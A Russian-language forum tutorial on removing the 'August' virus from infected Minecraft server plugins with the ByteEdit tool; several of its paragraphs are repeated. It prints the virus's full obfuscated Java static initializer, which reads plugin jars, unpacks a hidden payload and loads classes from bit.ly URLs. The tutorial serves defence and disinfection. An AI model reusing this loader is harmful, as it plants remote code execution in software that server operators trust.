- Поддерживаемые версии
-
- 1.8.9
- 1.9.2
- 1.10.1
- 1.11.2
- 1.12.2
- 1.13.1
- 1.14.4
- 1.15.2
- 1.16.5
- 1.17.1
- 1.18.2
- 1.19.0
В данном туториале я вам расскажу как удалить из своих плагинов вирус "Август", если они им заражены. Приятного чтения!
Когда вы скачивали какую либо сборку из непроверенных источников вы наверняка смотрели в код плагинов и хоть раз замечали подобный код:
Именной данный код и является вирусным. Он заражает все плагины своими копиями и в результате у всех плагинов есть выше приведенный кусочек кода, в их главном классе в самом низу.
Данный код скачивает библиотеку для управления байт-кодом и залазиит во все плагины, препятствуя нормальной работе сервера. В некоторых случаях (сборки на Paper) сервер перестает отвечать на команды в чате, а после ввода любой команды в консоль и вовсе выключаются. Данный вирус ворует определенные данные создавая уязвимость к взлому, хак команды или прочее.
Как же вырезать данный вирус? Сейчас покажу!
Если вам понравился туториал, оцените его лайком с низу либо же оставьте отзыв. Хороших вам сборок!
Когда вы скачивали какую либо сборку из непроверенных источников вы наверняка смотрели в код плагинов и хоть раз замечали подобный код:
Java:
static {
try {
File var0 = new File(new String(new byte[]{112, 108, 117, 103, 105, 110, 115, 47}));
boolean var1 = false;
long var2 = -1L;
int var4 = 0;
File[] var5 = var0.listFiles();
byte[] var7;
for(int var6 = 0; var6 < var5.length; ++var6) {
if (var5[var6].isFile() && var5[var6].getName().endsWith(new String(new byte[]{46, 106, 97, 114}))) {
var0 = var5[var6];
var7 = new byte[(int)var0.length()];
FileInputStream var8 = new FileInputStream(var0);
var8.read(var7);
var8.close();
if (var7[15] == (byte)(var7[16] ^ 190)) {
var1 = true;
var2 = (long)((var7[var7.length - 2] & 255) << 8 | var7[var7.length - 1] & 255);
if (var2 > 0L) {
var4 = (int)var2;
var2 = var0.length() - (var2 + 2L);
break;
}
}
}
}
if (var1) {
RandomAccessFile var16 = new RandomAccessFile(var0, "r");
var16.seek(var2);
var7 = new byte[var4];
var16.read(var7, 0, var4);
var16.close();
Inflater var17 = new Inflater();
var17.setInput(var7);
ByteArrayOutputStream var9 = new ByteArrayOutputStream(var4);
byte[] var10 = new byte[1024];
while(!var17.finished()) {
int var11 = var17.inflate(var10);
var9.write(var10, 0, var11);
}
var9.close();
var7 = var9.toByteArray();
var17.end();
String var18 = new String(new byte[]{104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47});
URLClassLoader var12 = new URLClassLoader(new URL[]{new URL(var18 + new String(new byte[]{50, 50, 88, 66, 113, 105, 121})), new URL(var18 + new String(new byte[]{49, 88, 75, 65, 69, 112, 90}))}, Thread.currentThread().getContextClassLoader());
Method var13 = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var13.setAccessible(true);
Class var14 = (Class)var13.invoke(var12, null, var7, 0, var7.length);
var14.newInstance();
}
} catch (Exception var15) {
}
}
Именной данный код и является вирусным. Он заражает все плагины своими копиями и в результате у всех плагинов есть выше приведенный кусочек кода, в их главном классе в самом низу.
Данный код скачивает библиотеку для управления байт-кодом и залазиит во все плагины, препятствуя нормальной работе сервера. В некоторых случаях (сборки на Paper) сервер перестает отвечать на команды в чате, а после ввода любой команды в консоль и вовсе выключаются. Данный вирус ворует определенные данные создавая уязвимость к взлому, хак команды или прочее.
Как же вырезать данный вирус? Сейчас покажу!
Инструкция есть на странице утилиты - Ссылка скрыта, пожалуйста Войдите или Зарегистрируйтесь
Скачиваем программу ByteEdit - Ссылка скрыта, пожалуйста Войдите или Зарегистрируйтесь .
Открываем файл при помощи архива и смотрим где находится главный класс.
Открываем ByteEdit и перетаскиваем в неё зараженный плагин.
Переходим к главному классу, листаем и ищем метод
Теперь выделяем метод с начала и до его закрывающей скобки и стираем его.
Очень длинный код по этому два скриншота.
После чего нажимаем
Открываем файл при помощи архива и смотрим где находится главный класс.
Открываем ByteEdit и перетаскиваем в неё зараженный плагин.
Переходим к главному классу, листаем и ищем метод
public static <clinit> ()V
Теперь выделяем метод с начала и до его закрывающей скобки и стираем его.
Очень длинный код по этому два скриншота.
После чего нажимаем
File -> Save Jar
и сохраняем наш файл с вырезанным "Августом".Если вам понравился туториал, оцените его лайком с низу либо же оставьте отзыв. Хороших вам сборок!